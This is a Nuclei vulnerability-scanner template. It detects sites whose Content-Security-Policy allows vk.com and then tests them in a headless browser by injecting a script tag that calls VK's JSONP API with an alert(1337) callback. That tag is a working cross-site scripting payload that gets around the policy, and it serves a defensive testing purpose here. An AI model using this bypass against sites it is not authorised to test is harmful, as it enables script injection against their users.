id: vk-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - VK API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,vk-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "vk.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: vk_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.vk.com/method/wall.get?callback=alert(1337)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "vk_api_csp_xss == true"
# digest: 4a0a00473045022100a0873defaa5728fa96f43da1c5dc6b007d276cb8fc268ef3b119870064e767be02203303dedae898f544edc2eb6f70a59fb2eb9db036dc8f9d1a22121ba432709489:922c64590222798bb761d5b6d8e72950